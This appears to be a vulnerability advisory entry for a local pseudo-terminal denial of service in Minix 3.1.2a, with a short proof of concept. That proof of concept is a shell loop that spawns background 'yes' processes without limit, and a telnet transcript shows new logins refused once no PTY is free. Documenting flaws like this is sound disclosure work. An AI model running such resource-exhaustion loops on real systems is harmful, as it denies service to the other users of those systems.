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Title	Minix Psuedo Terminal Denial of Service Vulnerability
Published	2008-07-23-12:00AM
Updated	2008-07-24-02:18AM
Class	Design Error
CVE
Remote	No
Local	Yes
Credit	kokanin
Vulnerable	Minix Minix 3.1.2a
Not Vulnerable
Code	An attacker can use readily available command-line utilities to exploit this issue.The following proof of concept is available: $ uname -a Minix 192.168.1.2 3 1.2a i686 $ while true ; do (yes "yes yes minix uh ah"&) ; done [snip snip] $ ^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C...disconnected telnet 192.168.1.2 Trying 192.168.1.2... Connected to 192.168.1.2. Escape character is '^]'. I am sorry, but there is no free PTY left! Connection closed by foreign host.
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